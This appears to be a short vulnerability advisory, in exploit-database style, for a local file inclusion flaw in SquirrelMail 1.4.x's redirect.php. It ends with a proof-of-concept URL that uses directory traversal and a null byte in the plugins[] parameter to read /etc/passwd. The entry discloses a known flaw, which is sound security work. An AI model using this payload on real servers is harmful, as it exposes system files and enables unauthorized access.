Squirrelmail 1.4.x - 'Redirect.php' Local File Inclusion
source: https://www.securityfocus.com/bid/18231/info
SquirrelMail is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
A successful exploit may allow unauthorized users to view files and to execute local scripts; other attacks are also possible.
http://www.example.com/[squirrelmail dir]/src/redirect.php?plugins[]=../../../../etc/passwd%00